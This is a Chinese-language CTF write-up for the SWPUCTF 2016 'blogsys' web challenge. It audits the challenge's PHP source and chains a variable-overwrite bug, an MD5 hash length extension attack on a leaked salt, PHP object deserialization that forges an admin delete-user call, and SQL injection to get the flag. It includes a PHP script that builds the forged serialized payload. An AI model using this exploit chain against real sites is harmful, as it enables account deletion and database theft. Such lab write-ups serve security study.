CTF Web安全

[SWPUCTF 2016]Web blogsys(hash扩展攻击+变量覆盖)

Posted on 2020-03-26,5 min read

github下载源码审计。
首先从配置文件common.php开始审计
一个很明显的变量覆盖漏洞

找找哪里存在可以利用的点。由于这个有登陆注册。忘记密码。都涉及到数据库。那么首先看sql相关语句。并且这里存在addslashes。得找到没有单引号包裹的sql语句
在riji.php文件中。发现了一处数字型sql注入。$id可控。

继续搜。$id从哪来

首先判断是否登陆。然后取session中的user值带入数据库查询。将返回的id作为值定义为变量id
突然想到个二次注入。联合查询修改返回结果。但是。结果会被intval强制转换为数字
继续看。。。
这里是判断用户登陆。然后存在。才会将id赋值。。
如果用户登陆后。又删掉了呢。sql语句查询不到结果。然后id就不会被赋值。可以通过变量覆盖控制id

接下来找个删除用户的点。找到了api.php
关键代码如下:

<?php

require_once("common.php");
session_start();

if (@$_SESSION['login'] === 1){
    header('Location:/web/riji.php');
	exit();
}
class admin {
	var $name;
	var $check;
	var $data;
	var $method;
	var $userid;
	var $msgid;

	function check(){
		$username = addslashes($this->name);//进入数据库的数据进行转义
		@mysql_conn();
		$sql = "select * from user where name='$username'";
		$result = @mysql_fetch_array(mysql_query($sql));
		mysql_close();
		if(!empty($result)){
			//利用 salt 验证是否为该用户
			if($this->check === md5($result['salt'] . $this->data . $username)){
				echo '(=-=)!!';
				if($result['role'] == 1){//检查是否为admin用户
					return 1;
				}
				else{
					return 0;
				}
			}
			else{
				return 0;
			}
		}
		else{
			return 0;
		}
	}

	function do_method(){
		if($this->check() === 1){
			if($this->method === 'del_msg'){
				$this->del_msg();
			}
			elseif($this->method === 'del_user'){
				$this->del_user();
			}
			else{
				exit();
			}
		}
	}

	function del_msg(){
		if($this->msgid)
		{
			$msg_id = intval($this->msgid);//防注入
			@mysql_conn();
			$sql1 = "DELETE FROM msg where id='$msg_id'";
			if(mysql_query($sql1)){
				echo('<script>alert("Delete message success!!")</script>');
				exit();
			}
			else{
				echo('<script>alert("Delete message wrong!!")</script>');
				exit();
			}
			mysql_close();
		}
		else{
			echo('<script>alert("Check Your msg_id!!")</script>');
			exit();
		}
	}

	function del_user(){
		if($this->userid){
			$user_id = intval($this->userid);//防注入
			if($user_id == 1){
				echo('<script>alert("Admin can\'t delete!!")</script>');
				exit();
			}
			@mysql_conn();
			$sql2 = "DELETE FROM user where userid='$user_id'";
			if(mysql_query($sql2)){
				echo('<script>alert("Delete user success!!")</script>');
				exit();
			}
			else{
				echo('<script>alert("Delete user wrong!!")</script>');
				exit();
			}
			
			mysql_close();
		}
		else{
			echo('<script>alert("Check Your user_id!!")</script>');
			exit();
		}
	}
}

$a = unserialize(base64_decode($api));
$a->do_method();
?>

这里根据session判断是否登陆。登陆就跳转。我们可以开个其他浏览器访问。最后会执行$a->do_method()方法
由于开头包含了common.php存在变量覆盖。这里的$api没赋值。可控。是一个反序列化漏洞
这里只有一个类。就是admin。查看do_method()方法,它触发了check()方法
只要check方法为1就可以了。
需要满足条件

$this->check === md5($result['salt'] . $this->data . $username)
这里我们三个变量都可控。只有一个$result['salt']不可控
很容易想到hash扩展攻击。但是得这个salt

全局搜下这个salt在哪有输出

在forget.php中。有一个输出点。根据我们传入的usernae。然后找对应的密钥。然后将md5输出
在api.php中。sql语句对role有要求。必须是admin。那么这里我们找admin对应的密钥

得到密钥的base64(md5)值

然后用hashpump构造。但是我这里没有输出。而hashpump中input data又是必填的。。咋整。换工具
https://github.com/JoyChou93/md5-extension-attack
长度在common.php定义为16
得到payload。开始编写反序列化

<?php
class admin{
    var $name = "admin";
    var $check= "6122c04e8a1f3529d556199960ef2556";
    var $data = "\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00";
    var $method="del_user";   
    var $userid="3"; 
    #这里是要删除用户的id。在cookie中可以看到。由于做完后写的wp。用户id变成了3
}
$a = new admin(); 
$api = base64_encode(serialize($a));
echo $api;

用户删除成功。此时另一个浏览器中。用户session被没被销毁。所以还是登陆状态

现在用户被删。id未赋值。变量覆盖回显注入拿flag

下一篇: 2020/3/26 MISC划水~~~~→